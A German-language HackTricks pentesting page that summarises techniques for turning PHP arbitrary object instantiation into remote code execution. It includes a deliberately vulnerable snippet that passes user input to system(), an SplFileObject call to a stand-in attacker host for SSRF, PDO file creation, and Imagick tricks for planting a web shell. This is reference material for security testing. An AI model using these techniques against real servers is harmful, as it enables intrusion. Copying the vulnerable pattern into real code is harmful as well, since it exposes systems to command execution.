PHP - RCE durch Ausnutzung der Objekterstellung: new $_GET["a"]($_GET["b"])

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Dies ist im Grunde eine Zusammenfassung von https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Einführung

Die Erstellung neuer willkürlicher Objekte, wie new $_GET["a"]($_GET["a"]), kann zu Remote Code Execution (RCE) führen, wie in einem Writeup detailliert beschrieben. Dieses Dokument hebt verschiedene Strategien zur Erreichung von RCE hervor.

RCE über benutzerdefinierte Klassen oder Autoloading

Die Syntax new $a($b) wird verwendet, um ein Objekt zu instanziieren, wobei $a den Klassennamen und $b das erste Argument darstellt, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen erscheinen könnten.

Betrachten Sie den folgenden Codeausschnitt:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In diesem Fall führt das Setzen von $a auf App oder App2 und $b auf einen Systembefehl (z.B. uname -a) zur Ausführung dieses Befehls.

Autoloading-Funktionen können ausgenutzt werden, wenn solche Klassen nicht direkt zugänglich sind. Diese Funktionen laden automatisch Klassen aus Dateien, wenn sie benötigt werden, und werden mit spl_autoload_register oder __autoload definiert:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet unterschiedliche RCE-Möglichkeiten.

RCE über eingebaute Klassen

Ohne benutzerdefinierte Klassen oder Autoloader können eingebaute PHP-Klassen für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und Erweiterungen zwischen 100 und 200. Sie können mit get_declared_classes() aufgelistet werden.

Konstruktoren von Interesse können über die Reflection-API identifiziert werden, wie im folgenden Beispiel und dem Link https://3v4l.org/2JEGF gezeigt.

RCE über spezifische Methoden umfasst:

SSRF + Phar Deserialisierung

Die Klasse SplFileObject ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu jeder URL:

php
new SplFileObject('http://attacker.com/');

SSRF kann in PHP-Versionen vor 8.0 unter Verwendung des Phar-Protokolls zu Deserialisierungsangriffen führen.

Ausnutzen von PDOs

Der Konstruktor der PDO-Klasse ermöglicht Verbindungen zu Datenbanken über DSN-Strings, was potenziell die Erstellung von Dateien oder andere Interaktionen ermöglicht:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versionen von PHP bis 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die SoapClient- und SimpleXMLElement-Konstruktoren, abhängig von der Version von libxml2.

RCE über die Imagick-Erweiterung

Bei der Analyse der Abhängigkeiten eines Projekts wurde festgestellt, dass Imagick für die Befehlsausführung durch die Instanziierung neuer Objekte genutzt werden kann. Dies bietet eine Gelegenheit zur Ausnutzung von Schwachstellen.

VID-Parser

Die Fähigkeit des VID-Parsers, Inhalte an einen beliebigen angegebenen Pfad im Dateisystem zu schreiben, wurde identifiziert. Dies könnte zur Platzierung einer PHP-Shell in einem webzugänglichen Verzeichnis führen, was Remote Code Execution (RCE) ermöglicht.

VID-Parser + Datei-Upload

Es wird angemerkt, dass PHP hochgeladene Dateien vorübergehend in /tmp/phpXXXXXX speichert. Der VID-Parser in Imagick, der das msl-Protokoll verwendet, kann Platzhalter in Dateipfaden verarbeiten, was den Transfer der temporären Datei an einen gewählten Ort erleichtert. Diese Methode bietet einen zusätzlichen Ansatz, um beliebige Dateien im Dateisystem zu schreiben.

PHP-Absturz + Brute Force

Eine Methode, die in der originalen Beschreibung beschrieben ist, beinhaltet das Hochladen von Dateien, die einen Serverabsturz auslösen, bevor sie gelöscht werden. Durch Brute-Forcing des Namens der temporären Datei wird es möglich, dass Imagick beliebigen PHP-Code ausführt. Diese Technik erwies sich jedoch nur in einer veralteten Version von ImageMagick als effektiv.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks